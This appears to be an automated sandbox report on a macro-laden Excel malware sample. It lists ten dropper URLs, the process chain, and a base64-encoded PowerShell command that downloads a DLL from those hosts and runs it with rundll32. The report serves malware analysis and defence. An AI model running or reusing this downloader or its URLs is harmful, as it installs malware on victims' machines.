Overview

overview

10

Static

static

8

dicksoncou...om.xls

windows7_x64

10

dicksoncou...om.xls

windows10-2004_x64

8

Analysis

  • max time kernel
    122s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01/02/2022, 19:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dicksoncountychamber.com.xls
  • Size 151KB
  • Sample220201-ycdx9aahem
  • SHA256 8ba2b2a299e1f63dd4ef61c3a37c600a7c812c6313da75ae77865d4da70b5d9d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://moneyquote.ja.deals/assets/jcCwxvuSRpES7VhWxj/
  • exe.dropper

    https://vestaseguridad.com.ar/wp-content/7JD9gufnwG/
  • exe.dropper

    https://mail.reddeeducacionvirtual.com/wp-includes/BqJi1K/
  • exe.dropper

    http://veluxcounterapi.orbitalwaves.it/assets/WW9KfK84odoSl7/
  • exe.dropper

    http://mylibass.in/wp-content/SYERoa6um9/
  • exe.dropper

    https://www.edhacare.com/Fox-C404/XDEQNngeH6Dg/
  • exe.dropper

    http://openhouse.co.zw/admin/l0nzhQ/
  • exe.dropper

    http://ilifetrend.com/wp-admin/qC/
  • exe.dropper

    http://sedes.si/wordpress/UVpGY5pQBX5X7pMxHs/
  • exe.dropper

    https://farmandcity.co.zw/error/9pMLU0bJGCFBDN/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\dicksoncountychamber.com.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\wetidjks.vbs
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\jledshf.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcABzADoALwAvAG0AbwBuAGUAeQBxAHUAbwB0AGUALgBqAGEALgBkAGUAYQBsAHMALwBhAHMAcwBlAHQAcwAvAGoAYwBDAHcAeAB2AHUAUwBSAHAARQBTADcAVgBoAFcAeABqAC8ALABoAHQAdABwAHMAOgAvAC8AdgBlAHMAdABhAHMAZQBnAHUAcgBpAGQAYQBkAC4AYwBvAG0ALgBhAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANwBKAEQAOQBnAHUAZgBuAHcARwAvACwAaAB0AHQAcABzADoALwAvAG0AYQBpAGwALgByAGUAZABkAGUAZQBkAHUAYwBhAGMAaQBvAG4AdgBpAHIAdAB1AGEAbAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AQgBxAEoAaQAxAEsALwAsAGgAdAB0AHAAOgAvAC8AdgBlAGwAdQB4AGMAbwB1AG4AdABlAHIAYQBwAGkALgBvAHIAYgBpAHQAYQBsAHcAYQB2AGUAcwAuAGkAdAAvAGEAcwBzAGUAdABzAC8AVwBXADkASwBmAEsAOAA0AG8AZABvAFMAbAA3AC8ALABoAHQAdABwADoALwAvAG0AeQBsAGkAYgBhAHMAcwAuAGkAbgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBTAFkARQBSAG8AYQA2AHUAbQA5AC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAGQAaABhAGMAYQByAGUALgBjAG8AbQAvAEYAbwB4AC0AQwA0ADAANAAvAFgARABFAFEATgBuAGcAZQBIADYARABnAC8ALABoAHQAdABwADoALwAvAG8AcABlAG4AaABvAHUAcwBlAC4AYwBvAC4AegB3AC8AYQBkAG0AaQBuAC8AbAAwAG4AegBoAFEALwAsAGgAdAB0AHAAOgAvAC8AaQBsAGkAZgBlAHQAcgBlAG4AZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcQBDAC8ALABoAHQAdABwADoALwAvAHMAZQBkAGUAcwAuAHMAaQAvAHcAbwByAGQAcAByAGUAcwBzAC8AVQBWAHAARwBZADUAcABRAEIAWAA1AFgANwBwAE0AeABIAHMALwAsAGgAdAB0AHAAcwA6AC8ALwBmAGEAcgBtAGEAbgBkAGMAaQB0AHkALgBjAG8ALgB6AHcALwBlAHIAcgBvAHIALwA5AHAATQBMAFUAMABiAEoARwBDAEYAQgBEAE4ALwAsAGgAdAB0AHAAcwA6AC8ALwBqAGIAagBhAHUAdABvAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBvAGwAaQBXAGgAdQB0AHYAQwBwAC8ALABoAHQAdABwAHMAOgAvAC8AagBlAHcAZQBsAGwAZQByAHkAcQB1AG8AdABlAC4AagBhAC4AZABlAGEAbABzAC8AYQBzAHMAZQB0AHMALwBxAFYAawA3AEoAZAAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:744
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1248
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
          4⤵
            PID:1364

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/744-64-0x00000000024A0000-0x00000000030EA000-memory.dmp
          Download

          memory/744-65-0x00000000024A0000-0x00000000030EA000-memory.dmp
          Download

          memory/744-66-0x00000000024A0000-0x00000000030EA000-memory.dmp
          Download

          memory/1296-53-0x000000002F091000-0x000000002F094000-memory.dmp
          Download

          memory/1296-54-0x0000000071A51000-0x0000000071A53000-memory.dmp
          Download

          memory/1296-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1296-56-0x0000000075CE1000-0x0000000075CE3000-memory.dmp
          Download

          memory/1296-57-0x0000000005E40000-0x0000000005F50000-memory.dmp
          Download

          memory/1296-68-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download